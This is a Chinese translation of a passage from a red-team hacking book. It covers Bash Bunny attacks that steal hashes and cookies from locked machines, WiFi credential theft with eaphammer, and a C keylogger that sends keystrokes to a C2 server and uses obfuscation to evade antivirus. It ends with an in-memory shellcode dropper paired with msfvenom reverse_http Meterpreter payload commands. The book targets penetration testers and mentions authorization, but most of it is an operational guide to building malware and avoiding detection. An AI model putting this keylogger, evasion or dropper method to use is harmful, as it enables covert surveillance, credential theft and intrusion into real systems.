http://www.ubuntuboss.com/how-to-install-openvpn-access-server-on-ubuntu-15-10/
https://trick77.com/how-to-set-up-transparent-vpn-internet-gateway-tunnel-openvpn/
https://www.hak5.org/gear/packet-squirrel/docs
Bash Bunny
前书中我们讨论了 Rubber Ducky 以及它是如何模拟 HID 设备(如键盘)来存储命令。对红队成员而言,Rubber
Ducky 仍然是个不错的工具,因为它可以加速 PowerShell 命令的传递,用于社会工程学攻击,并且可以在没有键盘
但有 USB 插槽的柜台系统(如 ATM 机、自动售货机等)上做出入侵操作。
Bash Bunny 是 Rubber Ducky 的升级版本。它不仅可以执行 HID 攻击(HID 是 Human Interface Device的缩写,
意思是人机接口设备),还有许多其他操作。Bash Bunny 有两个独立的设置选项来分别保存对 BunnyTap 和
QuickCreds 这两种攻击的设置(以及一个额外的管理设置)。这些 payload 可以执行攻击来窃取凭证、进行网络钓
鱼、执行 Ducky 攻击、运行 PowerShell 命令、执行扫描和侦察、执行 Metasploit autopwn 等。
译者注 :HID Attack 是最近几年流行的一类攻击方式。HID 是 Human Interface Device的缩写,意思是人机
接口设备。它是对鼠标、键盘、游戏手柄这一类可以操控电脑设备的统称。
由于电脑对这类设备缺少严格的检测措施,只是简单的识别设备类型,就允许设备对电脑进行各项操作。所
以,通过修改篡改设备反馈信息,就可以很轻松的让电脑将其他设备误认为 HID 设备,从而获取控制权限。尤
其是 USB 和蓝牙这类即插即用接口出现,导致 HID Attack 成为重要方式。例如,Bad USB 就是 USB 类攻击
的典型代表。
参考资料:WHID Injector:将 HID 攻击带入新境界
前书,我们谈到了使用 KonBoot 来绕过你没有密码的机器。KonBoot 在未加密的机器上工作时,可以从 U 盘启动并
覆写本地管理员的密码。尽管这个操作需要完整地重启客户机,但一旦重启完成,你就可以不用借助任何凭证的访问
被攻击的机器。我们团队一直使用 KonBoot 并且取得了很好的效果。所以如果你还没尝试过 KonBoot 的话,不妨一
试。
但是,仍然有两个理由使你不想选择 KonBoot:
1. 此攻击在加密的计算机上不起作用;
2. 你可能不想重启受害者的计算机。
那么如何从被锁定的系统中获取信息,以访问网络上的其他内容或者取得哈希、身份凭据?这就是 Bash Bunny
初显身手的地方。
我们将使用 Bash Bunny 运行两种不同攻击的 payload。在我们可以进入该目标组织的机房的前提下,这两种攻击都
允许我们从一个被锁定(或未锁定)的系统中获取信息。下面演示如何使用 BunnyTap 和 QuickCreds 。
闯入 Cyber Space Kittens
几个小时后你终于进到 Cyber Space Kittens 部门内。没被人察觉,所以你有几小时的时间来进行入侵行动。你入侵
第一台机器,装上 KonBoot 并重启机器,但你注意到这些机器的系统是加密的。然后你转到下一台处于屏幕锁定保
护状态的计算机。你两次插入 Bash Bunny,运行 BunnyTap 和 QuickCreds 。几分钟后,通过运行 Responder,
QuickCreds 收集到了Net-NTLMv2 哈希值。将它放进 Hashcat 运行,片刻钟就破解了用户密码!在我们无法获取或
破解哈希的机器上,BunnyTap 会运行 PosionTap,它可以对常见的站点捕获 cookie,这可以用于对内部应用程序
进行配置。我们把这些窃取到的 cookie 保存到我们的攻击者笔记本电脑,将我们的攻击者笔记本电脑连接到他们的
网络,用本地保存的窃取到的 cookie 来替换敏感 Web 应用程序中现在的cookie,这样我们就在不知道密码的情况
下获取了这些 Web 应用程序的访问权限。
在 Kali 环境下设置 Bash Bunny
下载最新固件:https://bashbunny.com/downloads
将 Bash Bunny 的开关3(最靠近 USB 端口那个)设置为启用模式。
将下载的固件放在 USB 挂载的根目录, 拔出 Bash Bunny,再重新插入,然后等待大约 10 分钟,直到它呈蓝
色闪烁。
完成后,重新进入 Bash Bunny 并编辑 payloads>switch1>payload.txt 这个文件。
# System default payload
LED B SLOW
ATTACKMODE ECM_ETHERNET STORAGE
拔出你的设备
在你的 Kali 系统中,设置 Internet 共享:
wget bashbunny.com/bb.sh
chmod +x bb.sh
./bb.sh
Guided Mode(所以选项都保留默认值)
在 Bash Bunny 上,打开开关1(离 USB 插孔最远的那个开关)上,然后插入。完成后,请确保连接到 Bash
Bunny,在那里你可以看到 Cloud <-> Laptop <-> Bunny image
在你的 Kali 机器上,用密码 hak5bunny 通过 SSH 进入 Bash Bunny
登陆进入你的 Bash Bunny
在你的 Kali 机器上,用密码 hak5bunny 通过 SSH 进入 Bash Bunny
ssh [email protected]
让我们更新 Bash Bunny 并安装一些工具
apt-get update
apt-get upgrade
export GIT_SSL_NO_VERIFY=1
git clone https://github.com/lgandx/Responder.git/tools/responder
git clone https://github.com/CoreSecurity/impacket.git/tools/impacket
cd /tools/impacket && python ./setup.py install
apt-get -y install dsniff
在 Kali 机器的另一个终端上,安装你想要的所有模块。
git clone https://github.com/hak5/bashbunny-payloads.git /opt/bashbunny-payloads
你可以选择任何类型的 payload ,但是在我们的例子中,我们将使用 BunnyTap 和 QuickCreds 这两个
payload 来设置 Bash Bunny
注意,在 switch1 和 switch2 文件夹中都有一个名为 payload.txt 的文件。而对于每一个这个文件,你需要将
其配置为攻击 Windows 或 Mac 计算机。对于 Windows 机器,确保 AttackMode 设置为
RNDIS_ETHERNET,对于 Mac,将 AttackMode 配置为 ECM_ETHERNET。
QuickCreds
cp -R /opt/bashbunnypayloads/payloads/library/credentials/BunnyTap/*
/media/root/BashBunny/payloads/switch1/
cp -R /opt/bashbunnypayloads/payloads/library/credentials/QuickCreds/*
/media/root/BashBunny/payloads/switch2/
QuickCreds 是一个很棒的工具,它使用 Responder 攻击从锁定和未锁定的机器上捕获 NTLMv2 Challenge 哈希。
假设你在做一次物理评估,为此你闯进一栋大楼,碰到了一堆锁着的机器。你使用 QuickCreds 的开关插入 Bash
Bunny ,每台机器等待大约 2 分钟。Bash Bunny 将接管网络适配器,使用 Response 重新传输任何共享和身份验
证请求,然后记录这些数据。它将所有凭证保存到 USB 磁盘上的 loot 文件夹中。
译者注: 如若不懂“NTLMv2 Challenge 哈希”,可以参考此篇:Windows 下的密码 hash——NTLM hash 和
Net-NTLM hash 介绍
参考资料:
https://github.com/hak5/bashbunny-payloads/tree/master/payloads/library/credentials/QuickCreds
https://room362.com/post/2016/snagging-creds-from-locked-machines/
BunnyTap
BunnyTap 基于由 Samy Kamkar 开发的知名工具 PoisonTap ( https://www.youtube.com/watch?v=Aatp5gCskvk
)。PoisonTap 是一个非常优秀的工具,即使是在锁定的机器上,也可以执行以下操作:
通过 USB(或 Thunderbolt )模拟以太网设备。
劫持所有来自机器的网络流量(尽管是通过低优先级或未知的网络接口)。
从 Web 浏览器中提取和存储位居 Alexa 排行榜最受欢迎的前100,0000 站的 HTTP cookie 和会话。
将内部路由器暴露给攻击者,这样攻击者就可以通过连接外网的 WebSocket 和 DNS 重新绑定攻击来远程访问
内部路由器。(感谢 Matt Austin 提供的关于“DNS 重新绑定攻击”的思路!)
在 HTTP 缓存中,为数十万个域名和常见的 JavaScript CDN URL 安装一个基于 Web 的持久后门。通过缓存投
毒的方式,我们可以获取用户对于这些资源的 cookie 。
允许攻击者通过在任何有后门的域中获取的用户 cookie,来远程强制用户来发起 HTTP 请求(包括 GET 和
POST)和通过代理传回响应。
不需要将机器解锁。
后门和远程访问权限即使在设备被移除且攻击者离开后仍然存在( https://samy.pl/poisontap/ )。
从一次物理评估的角度来看,你进入他们的办公室,在每台机器上插上 Bash Bunny,然后等待大约2分钟。Bash
Bunny 会让电脑中的所有流量都走 Bash Bunny 转发。如果他们有一个打开并且活动的浏览器(如广告或任何定期
更新的页面),BunnyTap 将启动并向所有 Alexa Top 100,0000 网站发出请求。此时,受害者用户若登录到这些站
点中的任何一个,BunnyTap 将捕获受害者的所有 cookie。现在,我们可以将这些 cookie 发回到自己的计算机上,
把我们的 cookie 替换成他们的,这样即可在不知道他们密码的情况下,冒充他们的身份进入网站。
请务必查看所有 Bash Bunny 的 payload:
https://github.com/hak5/bashbunny-payloads/tree/master/payloads/library
WiFi
WiFi 攻击方面,我们攻击受害者的方式没有什么大变化。虽然 WEP 加密网络的使用显著减少,但攻击方式仍包括反
认证、aireplay-ng 和捕获 IV 数据包。对于 WPA 无线网络,最好的攻击手段,依旧是对客户端进行反认证 、捕获握
手包、将其传递给 hashcat 对密码进行破解。以上这几种方法屡试不爽。工具方面,我最爱的工具是 Wifite2 的完全
重写的版本,这个新版本带有一个 Alfa AWUS036NHA 无线网卡。这是一个非常易于使用的接口,可以支持多种攻
击,基于 aircrack 工具套装,令它可以很容易地破解捕获的哈希值。
关于发动 WiFi 攻击的装备,除了使用一对 Alfa 无线网卡,执行更加隐蔽的 WiFi 攻击的简单方法是使用 WiFi
Pineapple Nano。如果你想建立一个假的主无线接入点,通过天线改变他们流量的通信路径,用伪造页面捕获身份
验证,执行所有的中间人攻击,运行 Responder 和其他攻击的话,WiFi Pineapple Nano 是一个能执行此操作的轻
量级硬件工具。
除了 Pineapple,还有其他一些工具可以用来攻击公司网络。其中一个就是 eaphammer。
eaphammer 的功能:
从 WPA-EAP 和 WPA2-EAP 网络窃取 RADIUS 凭据。
执行恶意门户攻击,以窃取 AD 凭证,并执行间接无线枢轴。
执行 captive portal 攻击。
内置响应器集成。
支持开放网络和 WPA-EAP/WPA2-EAP。
大多数攻击无需手动配置。
安装和设置过程无需手动配置。
使用最新版本的 hostapd(2.6)。
支持恶意的 twin 攻击和 karma 攻击。
为间接无线枢轴生成定时 PowerShell payload。
针对恶意门户攻击的集成 HTTP 服务器。
支持 SSID 隐藏。
eaphammer 最好的地方是使用自定义攻击功能来执行 responder 攻击或捕获 NTLM challange 身份验证哈希以进
行破解( https://github.com/s0lst1c3/eaphammer#iii---stealing-ad-credentials-using-hostile-portal-attacks ) 以
及间接的无线枢轴( https://github.com/s0lst1c3/eaphammer#iv---indirect-wireless-pivots )。
为避免读者没看到上面的注释,所以译者再次注: 如若不懂“NTLMv2 Challenge 哈希”,可以参考此篇:
Windows 下的密码 hash——NTLM hash 和 Net-NTLM hash 介绍
本章总结
物理攻击是最有趣的事情之一。这会加速你的肾上腺素分泌,让自己觉得像个罪犯,迫切地想行恶。在我们的许多红
队行动中,我们可能会花上几天的时间来为一家公司进行踩点,观察警卫的轮换,并弄清楚他们都有什么类型的门。
我们可能会尝试拍摄他们的工卡的照片,记录人们离开大楼的时间,并找出能让我们进入大楼的薄弱环节。
从红队的角度来看,我们不仅要观察他们物理设施方面的安全薄弱点,也要注意他们内部的人。
如果触发了警报,相关员工要过久才能觉察并应对?
摄像头是否开启全天候监控?是这样的话,如果发现什么可疑,到相关人员来排查,能有多长空余时间?
有人看守后门等其他的不常用出口吗?
如果行踪败露,你有办法脱身吗?
如果乔装打扮成该公司(或任何为该公司提供第三方服务)的员工,对方公司会对你的入侵行为做什么反应?
最后要注意的是,在开始入侵行动之前,确保要有一个明确的攻击范围、一封入侵目标公司给你做的书面授权证明、
首席安全官或物理设施安全负责人的电话号码,并确保与对方达成共识、进行合作。准备措施做得越好,就能更好的
避免不必要的误会和麻烦。但是因为这终究是一种危险的委托,所以我也无法保证精心准备就一定能万无一失。
第7章 四分卫突破——逃避杀毒软件和网络检测
译者:@Snowming
为红队行动编写工具
红队人员和渗透测试人员比较明显的区别之一就是红队人员能快速的适应并理解不同的防护。无论是理解低级语言
(机器代码和汇编语言),编写 shellcode ,创建自定义的 C2 二进制可执行文件,还是修改代码来隐藏恶意程序,
它们都是我们(红队)日常工作的一部分。我总是遇到不会编程的渗透测试人员,虽然这不是一项硬性要求,但是编
程水平确实会决定他们专业成长的高度。 因此,我专门编写这一章节来给那些没有使用过偏向底层的低级语言编程
的人一个良好的入门方向。
基础的键盘记录器
键盘记录器是所有渗透测试人员 / 红队人员的必备工具,本节将指导你制作通用的键盘记录器。 有时我们只想持续监
控某个用户或获取其他凭据。 这可能是因为我们此时无法进行任何类型的横向移动或者权限提升,或者我们可能只
想监视用户以便更好开展将来的入侵活动。 在这些情况下,我们通常喜欢放置一个持续在受害者系统上运行的键盘
记录器并将键盘记录的数据发送到外网。 以下示例只是一个 POC ,本实验的目的是让你从这里了解基础知识和构建
它们。 它全部用 C 语言(较底层的语言)来编写的原因是保持二进制文件相对较小、更好的系统控制、并且规避杀
毒软件。 在之前的书中,我们使用 Python 编写了一个键盘记录器并使用 py2exe 对其进行编译以使其成为二进制
文件,但这些很容易就被检测到。 让我们来看一个稍微复杂的例子。
设置你的环境
这是在 C 中编写和编译以生成 Windows 二进制文件并创建自定义键盘记录器所需的基本设置。
在一个虚拟机中安装 Windows 10
安装 Visual Studio ,以便你可以使用命令行编译器和使用 Vim 进行代码编辑
到目前为止,Windows API 编程的最佳学习资源是微软自己的开发者网络网站 MSDN。 MSDN 是一个非常宝贵的资
源,它详细说明了系统调用,数据类型和结构定义,并包含了许多示例。通过阅读微软出版社出版的《Windows
Internals》书籍,可以更深入地了解 Windows 操作系统, 虽然这个项目中并不是特别需要这个。 对于学习 C 语
言,有一本好书,C 语言的创始人之一参与了对此书的撰写,名为《C语言程序设计》(The C Programming
Language),书的作者是 Kernighan 和 Ritchie。最后,可以阅读《Beej’s Guide to Network Programming》,有
印刷版和在线版,这是 C 语言中关于的 socket 编程的一本很好的入门读物。
从源码编译
在这些实验中,将会有多个示例代码和例子。实验室将使用微软的 Optimizing Compiler 编译代码,该编译器随
Visual Studio 社区版本一起提供,并内置于 Visual Studio 开发者命令提示符(Visual Studio Developer
Command Prompt)中。安装 VS 社区版本后,请通过 工具(Tools) --> 获取工具和功能(Get Tools and
Features) 安装 C++ 的组件 通用 Windows 平台开发和桌面开发。要编译示例源码,请打开开发者命令提示符的
一个实例,然后切换到包含源代码文件的文件夹目录。 最后,运行命令 cl sourcefile.c io.c 。这将生成一个与
源文件同名的可执行文件。
编译器默认为 32 位,但此代码也可以用64位进行编译。要编译64位程序,请运行位于 Visual Studio 文件夹中的
批处理程序。在命令提示符中,切换到目录 “ C:\Program Files (x86)\Microsoft Visual
Studio\2017\Community\VC\Auxiliary\Build ” ,注意,这个目录可能会因为你的 Visual Studio 版本而改变(但是
大致是以上目录)。然后,运行命令 vcvarsall.bat x86_amd64 ,这将设置 Microsoft 编译器编译 64 位的二进制
文件而不是编译成 32 位的。现在,你可以通过运行 cl path/to/code.c (path 是源码文件的绝对路径)来编译代
码。
示例框架
该项目的目标是创建一个键盘记录器,利用 C 语言和底层 Windows 功能来监视击键。该键盘记录器使用
SetWindowsHookEx 和 LowLevelKeyboardProc 函数 。 SetWindowsHookEx 允许在本地和全局上下文中设置各种
类型的 Hook(钩子)。在这种情况下, WH_KEYBOARD_LL 参数将用于提取底层键盘事件 。 SetWindowsHookEx 的
函数原型看起来像这样( http://bit.ly/2qBEzsC ):
该函数创建了定义为整型的 hook 的 ID、指向函数的指针、句柄和线程 ID。前两个值是最重要的。你即将要安装的
hook 的 ID 数据类型是整型。Windows 会在功能页面上列出的可用 ID 。在我们的例子中,将使用 ID 13 或
WH_KEYBOARD_LL 。 HOOKPROC 是一个指向回调函数的指针,每次被钩住的进程接收数据时都会调用该函数。这意
味着每次按下一个键,都会调用 HOOKPROC 。这是用于将击键写入文件的函数。 hMod 是包含 lpfn 指针指向的函数
的 DLL 的句柄。此值将设置为 NULL,因为函数与 SetWindowsHookEx 在同一进程中使用。dwThreadId 将设置为0
以将回调与桌面上的所有线程相关联。最后,该函数返回一个整数,该整数将用于验证 hook 是否已正确设置或以其
他方式退出。
第二部分是回调函数。回调函数将为此键盘记录器完成一系列繁重的工作。此函数将处理接收击键,将其转换为
ASCII 字符以及记录所有文件操作。 LowLevelKeyBoardProc ( http://bit.ly/2HomCYQ )的原型如下所示:
HHOOK WINAPI SetWindowsHookEx(
_In_ int idHook,
_In_ HOOKPROC lpfn,
_In_ HINSTANCE hMod,
_In_ DWORD dwThreadId
);
让我们回顾一下 LowLevelKeyBoardProc 所需的内容。该函数的参数是一个整数,告诉 Windows 如何解释该消
息。这些参数中的两个是:
wParam,它是消息的标识符
lParam,它是指向 KBDLLHOOKSTRUCT 结构体的指针
wParam 的值在功能页面中指定。还有一个页面描述了 KBDLLHOOKSTRUCT 的成员。 lParam 的 KBDLLHOOKSTRUCT
的值称为 vkCode 或 Virtual-Key Code ( http://bit.ly/2EMAGpw )。这是按下的键的代码,而不是实际的字
母,因为字母可能会根据键盘的语言而有所不同。 vkCode 需要稍后转换为相应的字母。现在不要着急把参数传递给
我们的键盘回调函数,因为它们将在激活 hook 时由操作系统传递。
最后,挂钩键盘的初始架构代码如下所示:https://github.com/cheetz/ceylogger/blob/master/skeleton
在查看框架代码时,需要注意的一些事项是,在回调函数中包含 pragma comment (预处理指令),消息循环和返回
CallNextHookEx 行。 pragma comment 是用于链接 User32 DLL 的编译器指令。 此 DLL 包含将要进行的大多数函
数调用,因此需要进行链接。它也可以与编译器选项相关联。接下来,如果正在使用 LowLevelKeyboardProc 函
数,则必须使用消息循环。 MSDN 声明,“此钩子在安装它的线程的上下文中调用。 通过向安装了钩子的线程发送消
息来进行调用。因此,安装钩子的线程必须有一个消息循环。“[ http://bit.ly/2HomCYQ ]
返回 CallNextHookEx 是因为 MSDN 声明 “ 调用 CallNextHookEx 函数链接到下一个钩子过程是可选的,但强烈
建议调用,否则已安装钩子的其他应用程序将不会收到钩子通知,因此可能会出现错误行为。所以你应该调用
CallNextHookEx ,除非你一定要阻止其他应用程序看到通知。“[ http://bit.ly/2H0n68h ]
接下来,我们继续构建从文件句柄开始的回调函数的功能。在示例代码中,它将在 Windows 系统的 Temp 目录
(C:\Windows\Temp)中创建名为 “log.txt” 的文件。 该文件配置了 append 参数,因为键盘记录器需要不断地将击
键输出到文件。如果此临时文件夹中没有该文件,则会创建一个同名文件(log.txt)。
回到 KBDLLHOOKSTRUCT 结构体,代码声明了一个 KBDLLHOOKSTRUCT 指针,然后将其分配给 lParam 。这将允许访
问每个按键的 lParam 内的参数。 然后代码检查 wParam 是否返回 WM_KEYDOWN ,这将检查按键是否被按下。这样
做是因为钩子会在按下和释放按键时触发。如果代码没有检查 WM_KEYDOWN ,程序将每次写入两次击键。
检查按键被按下后,需要有一个 switch 语句,用于检查 lParam 的 vkCode (虚拟键代码)是否有特殊键。某些
键需要以不同的方式写入文件,例如返回键(Esc),控制键(Ctrl),移位(shfit),空格(Space)和制表键
(Tab)。对于默认情况,代码需要将按键的 vkCode 转换为实际的字母。 执行此转换的简单方法是使用 ToAscii
函数。 ToAscii 函数将包含 vkCode ,一个 ScanCode ,一个指向键盘状态数组的指针,一个指向将接收该字母的
缓冲区的指针,以及一个 uFlags 的 int 值。 vkCode 和 ScanCode 来自按键结构体,键盘状态是先前声明的字节
数组,用于保存输出的缓冲区, uFlags 参数将设置为0。
检查是否释放了某些键是非常必要的,例如 shift 键。这可以通过编写另一个 if 语句 来检查 WM_KEYUP ,然后
使用 switch语句 来检查所需的键来完成。 最后,需要关闭该文件并返回 CallNextHookEx 。回调函数如下所示:
https://github.com/cheetz/ceylogger/blob/master/callback
此时,键盘记录器功能完全正常,但依旧有一些问题。第一个是运行程序会产生一个命令提示符的窗口,这使得程序
运行非常明显,并且窗口没有任何提示输出是非常可疑的。 另一个问题是将文件放在运行该键盘记录器的同一台计
算机上并不是很好。
LRESULT CALLBACK LowLevelKeyboardProc(
_In_ int nCode,
_In_ WPARAM wParam,
_In_ LPARAM lParam
);
通过使用 Windows 特定的 WinMain 函数入口替换标准 C 语言的 Main 函数入口,可以相对容易地修复有命令提示
符窗口的问题。根据我的理解,之所以有效是因为 WinMain 是 Windows 上图形程序的入口。尽管操作系统期望你
为程序创建窗口,但我们可以命令它不要创建任何窗口,因为我们有这个控件。最终,该程序只是在后台生成一个进
程而不创建任何窗口。
该程序的网络编程是简单粗暴的。首先通过声明 WSAData ( http://bit.ly/2HAiVN7 ),启动 winsock ,清除提示
结构体以及填写相关需求来初始化 Windows socket 函数。就我们的示例来说,代码将使用 AF_UNSPEC 用于
IPV4 和 SOC_STREAM 用于 TCP 连接,并使用 getaddrinfo 函数使用先前的需求填充 c2 结构体。在满足所有必需
参数后,可以创建 socket 。最后,通过 socket_connect 函数连接到 socket 。
连接之后, socket_sendfile 函数将完成大部分工作。它使用 Windows 的 CreateFile 函数打开日志文件的句
柄,然后使用 GetFileSizeEx 函数获取文件大小。获得文件大小后,代码将分配该大小的缓冲区,加上一个用于填
充的缓冲区,然后将该文件读入该缓冲区。 最后,我们通过 socket 发送缓冲区的内容。
对于服务器端,可以在 C2 服务器的3490 端口上的启动 socat 侦听器,命令启动:
socat:socat - TCP4-LISTEN:3490,fork
一旦启动监听器并且键盘记录器正在运行,你应该看到来自受害者主机的所有命令每 10 分钟被推送到你的 C2 服务
器。 可以在此处找到键盘记录器的初始完整版本1:
https://github.com/cheetz/ceylogger/tree/master/version1 。
在编译 version_1.c 之前,请确保将 getaddrinfo 修改为当前的 C2 的IP 地址。编译代码:
cl version_1.c io.c
应该提到的最后一个函数是 thread_func 函数。 thread_func 调用函数 get_time 来获取当前系统的分钟。然后
检查该值是否可被 5 整除,因为该工具每隔 5 分钟发送一次键盘记录文件。如果它可以被 5 整除,它会设置
socket 并尝试连接到 C2 服务器。如果连接成功,它将发送文件并运行清理本地文件。然后循环休眠 59 秒。需要
睡眠功能的原因是因为这一切都在一个固定的循环中运行,这意味着该函数将在几秒钟内获取时间,初始化连接,完
成连接和发送文件。如果没有 59 秒的休眠时间,该程序最终可能会在 1 分钟的时间间隔内发送文件几十次。休眠功
能允许循环等待足够长的时间以便切换到下一分钟,因此每 5 分钟仅发送一次文件。
混淆
有数百种不同的方法来执行混淆。虽然本章不能全部一一讲述,但我想为你提供一些基本的技巧和思路来解决绕过杀
毒软件的问题。
你可能已经知道,杀毒软件会查找特定的字符串。可用于绕过杀毒软件的最简单方法之一是创建一个简单的旋转密码
并移动字符串的字符。在下面的代码中,有一个解密函数,可以将所有字符串移动 6 个字符(ROT6)。这会导致杀
毒软件可能无法检测到特征码。在程序开始时,代码将调用解密函数来获取字符串数组并将它们返回到本来的形式。
解密函数如下所示:
int decrypt(const char* string, char result[])
{
int key = 6;
int len = strlen(string);
for(int n = 0; n < len; n++)
{
int symbol = string[n];
int e_symbol = symbol - key;
result[n] = e_symbol;
}
result[len] = ‘\0’;
return 0;
}
你可以在此处的程序版本2中看到此示例:https://github.com/cheetz/ceylogger/tree/master/version2 。
另一种可以用来逃避杀毒软件的方法是使用函数指针调用 User32.dll 中的函数,而不是直接调用函数。为此,首先
编写一个函数定义,然后使用 Windows 系统的 GetProcAddress 函数找到要调用的函数的地址,最后将函数定义
指针指定给从 GetProcAddress 接收的地址。可以在此处找到如何使用函数指针调用 SetWindowsHookEx 函数的
示例:https://github.com/cheetz/ceylogger/blob/master/version3/version_3.c#L197-L241 。
该程序的第 3 版本将前一个示例中的字符串加密与使用指针调用函数的方法相结合。有趣的是,如果你将已编译的二
进制文件提交到 VirusTotal(病毒检测网站),你将不再在导入部分中看到 User32.dll。在下面的图片中,左侧图像
是版本1的检测结果,右侧图像是带有调用指针的版本3的检测结果 。
你可以在以下网址找到版本3的完整源代码:https://github.com/cheetz/ceylogger/tree/master/version3 。
为了了解你是否已成功避开杀毒软件,最佳选择是始终针对实时杀毒软件系统进行测试。在真实世界的入侵活动中,
我不建议使用 VirusTotal 网站,因为你的病毒样本可能会发送给不同的杀毒软件厂商。然而,它非常适合测试或者学
习。对于我们的 payload,以下是 VirusTotal 比较:
对于版本1,32位,21/66(21家检测出),触发杀毒软件:
https://www.virustotal.com/#/file/4f7e3e32f50171fa527cd1e53d33cc08ab85e7a945cf0c0fcc978ea62a44a
62d/detection
http://bit.ly/2IXfuQh
对于版本3,32位,14/69(14家检测出),触发杀毒软件:
https://www.virustotal.com/#/file/8032c4fe2a59571daa83b6e2db09ff2eba66fd299633b173b6e372fe762
255b7/detection
http://bit.ly/2IYyM7F
最后,如果我们将版本3编译为 64 位的 payload,我们得到 1/69(仅仅一家检测出)!:
https://www.virustotal.com/#/file/e13d0e84fa8320e310537c7fdc4619170bfdb20214baaee13daad90a175
c13c0/detection
http://bit.ly/2JNcBmc
译者注:根据上面的链接,译者点进去看了每一个数据,但是发现数据都有所更新,所以把上面的内容修改为
和链接到的内容一致的最新数据。但是下面的图片是书上的原图,所以是老的过期的数据。下面的图片是说,
将版本3编译为 64 位的 payload,得到 0/66(无一家一家检测出)的结果,但是现在已经是 1/69,也就是 69
个杀软种有一个可以检测出病毒。
实验:
下一步我们还可以做什么呢?有无限种可能!可以做一些小的优化比如对 log.txt 内容进行模糊/加密,或者在程序启
动后启动加密套接字,然后将获得击键权限直接写入该套接字。在接收方,服务器将重建数据流并将其写入文件。
这将阻止日志数据以纯文本形式显示,就像当前一样,并且还可以防止在硬盘中留下更多的文件痕迹。
如果你想做一些大的改进,那么你可以将可执行文件转换为 DLL,然后将 DLL 注入正在运行的进程。这样可以防止
进程信息显示在任务管理器中。虽然有一些程序可以显示系统中所有当前加载的 DLL,但注入 DLL 会更加隐蔽。此
外,有些程序可以反射性地从内存加载 DLL 而根本不在磁盘中留下痕迹(无文件),从而进一步降低了被取证的风
险。
本书定制的挂钩病毒(Dropper)
Dropper(挂钩病毒)是红队工具包的重要组成部分,允许你在不把程序放在受害者计算机磁盘上的情况下运行你植
入的程序。不将你的植入程序保存在磁盘上会降低它们被发现的风险,从而可以供你多次使用开展工作。在本章中,
我们将介绍本书定制开发的一个 dropper,它可以导入 shellcode 或仅驻留在内存中的 DLL 。
在设计 dropper 和相应的服务器时,你需要记住一些事项。dropper 的目的是成为你的武器库中的一件用完就销毁
的武器,这意味着你必须假设以当前形式使用它将触发进一步活动中的检测。
为了使后续的入侵活动更容易,你需要开发一个可以重复使用的标准服务器。在该示例中,你将看到一个基本的网络
实现,它允许为不同的消息注册新的处理程序(handler)。虽然此示例仅包含 LOAD_BLOB 消息类型的处理程序,
但你可以轻松添加新处理程序以扩展功能。这样就可以搭建良好的底层架构,因为你的所有通信都已标准化。
编写 dropper 或其他任何你希望快速找到并进行对其逆向的东西的时候,有个很重要步骤就是要清理你的文本字符
串。当你第一次构建软件时,或许你运气好、调试消息显示成功,这使你无需手动单步执行调试器以查看为什么会出
现问题。但是,如果特定的文本字符串在最终版本中被意外地遗留下来,将使病毒分析师很容易就可以逆向你的恶意
软件。很多时候,反病毒会针对一个独一无二的特定字符串或一个常量值签名。在示例中,我使用 InfoLog() 和
ErrorLog() ,它们的预处理器将在发布版本上编译。使用那些宏,通过检查是否定义了_DEBUG,将指示是否包含
相关调用。
本书定制 Dropper 代码:https://github.com/cheetz/thpDropper.git
Shellcode 与 DLL
在以下示例中,你可以让 dropper 加载完整的 DLL 或 shellcode。通常对于很多公共植入文件,你可以生成一个完
整的 DLL,它将下载 DLL 然后反射 DLL。让你的 dropper 直接加载 DLL 将使你无需再进行更多的 API 调用,从而保
持更好的隐蔽性。由于 header 被修改,某些植入文件可能无法正确加载。如果你的一个植入文件不能正常工作并且
包含一种生成 shellcode 的方法,那么这应该可以解决你的问题。这是因为它们的自定义加载器通常用于修复
header 并从 DLL 加载它。
在网上也可以找到很多可以用的 shellcode,像 shell-storm.org 这样的网站会保存为特定目的而编写的 shellcode
存档,其中一些可能会为你的入侵活动派上用场。
运行服务器
构建服务器很简单。 在本书自定义的 Kali 镜像上,你需要运行以下命令:
对于首次编译:
cd /opt/
sudo apt-get install build-essential libssl-dev cmake git
git clone https://github.com/cheetz/thpDropper.git
cd thpDropper/thpd
mkdir build
cd build
cmake ..
make
对于后续编译,你需要做的就是:
cd /opt/thpd/build
make
要运行服务器,在编译它之后,你需要输入:
./thpd [path to shellcode/DLL] [loadtype]
以下值当前对加载类型有效:
0
Shellcode
这会将原始的汇编 shellcode 字节发送到客户端
1
DLL
这会发送一个普通的的 DLL 文件,以反射方式加载到客户端中
虽然这些 payload(shellcode / DLL)可能是来自任何类型的 C2 工具(Metasploit/Meterpreter,Cobalt Strike
等),但是我们在示例中仅仅使用一个 Meterpreter payload。
生成一个 payload :
对于 Shellcode payload :
msfvenom -a x64 -p windows/x64/meterpreter/reverse_http LHOST=<Your_IP> LPORT=<PORT>
EnableStageEncoding=True -f c
注意,你必须使用 msfvenom 的输出,并且仅仅使用原始的汇编 shellcode(删除引号、新行和任何非
shellcode 的内容)。
启动服务器:./thpd ./shellcode.txt 0
对于 DLL payload :
msfvenom -a x64 -p windows/x64/meterpreter/reverse_http LHOST=<Your_IP> LPORT=<PORT>
EnableStageEncoding=True -f dll > msf.dll
启动服务器: ./thpd ./msf.dll 1
客户端
客户端以与服务器类似的方式运行,其中它为每种消息类型注册了一个处理程序(handler)。在启动时,它将尝试
回调服务器,如果无法连接或一旦断开连接则重试 n 次,并发送消息要求加载 blob 对象。服务器将使用
BLOB_PACKET 进行响应,客户端将通过 head --> msg 字段识别并分派该 BLOB_PACKET 。所有数据包必须在开始时
定义 HEAD_PACKET 字段,否则网络处理程序将无法识别它,并将其丢弃。 使用 BuildPacketAndSend() 函数将正
确设置头数据包,允许另一方解码它。
要构建客户端,你需要使用 Visual Studio 和 Git 。 首先将 Git 仓库( https://github.com/cheetz/thpDroppe
r.git )克隆到一个文件夹中,然后在 Visual Studio 中打开 thpDropper.sln 。确保为代码设置了正确的体系结
构,如果你不需要任何调试信息,请将编译模式设置为 build for release 。完成此操作后,按 F7 键(编译快捷
键), Visual Studio 会为你生成可执行文件。
配置客户端和服务器
在 globals.cpp 文件中可以查看大多数客户端的配置,你想要更改的三个主要配置设置是主机名、端口和数据包时
间间隔。每个设置旁都有详细的注释,告诉你它们是什么。虽然你不需要更改数据包签名,但我还是得说一下:更改
数据包签名将修改发送的每个数据包的前 2 个字节,用于标识它是服务器上的有效连接。如果你希望对 IP 和端口进
行模糊处理,则可以编写代码以在访问它们时对其进行解密,并仅将加密版本存储在二进制文件中。
在服务器端,在 main.cpp 文件中,你可以修改服务器正在监听的端口。此配置在 main 函数中作为
